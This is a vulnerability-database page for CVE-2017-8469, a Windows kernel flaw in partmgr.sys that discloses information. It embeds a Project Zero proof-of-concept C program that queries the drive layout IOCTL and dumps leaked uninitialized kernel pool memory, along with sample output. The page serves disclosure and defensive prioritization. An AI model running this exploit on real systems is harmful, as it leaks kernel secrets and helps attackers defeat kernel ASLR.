CVE-2017-8469

medium
Published 2017-06-15 ยท Modified 2026-05-13
CVSS v3
5.5
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.5

Description

The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-8491, CVE-2017-8490, CVE-2017-8489, CVE-2017-8488, CVE-2017-8485, CVE-2017-8483, CVE-2017-8482, CVE-2017-8481, CVE-2017-8480, CVE-2017-8478, CVE-2017-8479, CVE-2017-8476, CVE-2017-8474, CVE-2017-8462, CVE-2017-0300, CVE-2017-0299, and CVE-2017-0297.

Predictions

Exploit likelihood
55%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42217 dos windows verified text ยท 5 KB
Google Security Research ยท 2017-06-21

Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_LAYOUT_EX' Kernel partmgr Pool Memory Disclosure

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1159

We have discovered that the handler of the IOCTL_DISK_GET_DRIVE_LAYOUT_EX IOCTL in partmgr.sys discloses portions of uninitialized pool memory to user-mode clients.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region. In this case, the marker byte was 0x29 (")").

--- cut ---
00000000: 00 00 00 00 04 00 00 00 ee a2 5d 9f 29 29 29 29 ..........].))))
00000010: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000020: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000030: 00 00 00 00 29 29 29 29 00 00 10 00 00 00 00 00 ....))))........
00000040: 00 00 40 06 00 00 00 00 01 00 00 00 00 29 29 29 ..@..........)))
00000050: 07 01 01 29 00 08 00 00 29 29 29 29 29 29 29 29 ...)....))))))))
00000060: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000070: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000080: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000090: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000000a0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000000b0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000000c0: 00 00 00 00 29 29 29 29 00 00 50 06 00 00 00 00 ....))))..P.....
000000d0: 00 00 90 39 06 00 00 00 02 00 00 00 00 29 29 29 ...9.........)))
000000e0: 07 00 01 29 00 28 03 00 29 29 29 29 29 29 29 29 ...).(..))))))))
000000f0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000100: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000110: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000120: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000130: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000140: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000150: 00 00 00 00 29 29 29 29 00 00 00 00 00 00 00 00 ....))))........
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 29 29 29 .............)))
00000170: 00 00 00 29 00 00 00 00 29 29 29 29 29 29 29 29 ...)....))))))))
00000180: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000190: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001a0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001b0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001c0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001d0: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
000001e0: 00 00 00 00 29 29 29 29 00 00 00 00 00 00 00 00 ....))))........
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 29 29 29 .............)))
00000200: 00 00 00 29 00 00 00 00 29 29 29 29 29 29 29 29 ...)....))))))))
00000210: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000220: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000230: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000240: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000250: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
00000260: 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 29 ))))))))))))))))
--- cut ---

Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open the disk device.
  HANDLE hDisk = CreateFile(L"\\\\.\\C:", 0, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDisk == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }

  // Obtain the output data, assuming that it will fit into 1024 bytes.
  BYTE layout[1024];
  DWORD BytesReturned;
  if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_LAYOUT_EX, NULL, 0, layout, sizeof(layout), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hDisk);
    return 1;
  }

  // Dump the output data on screen and free resources.
  PrintHex(layout, BytesReturned);
  CloseHandle(hDisk);

  return 0;
}

OS impact

windows Windows Affected 2 releases
VersionStatusFixed in
r2 Affected โ€”
- Affected โ€”

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.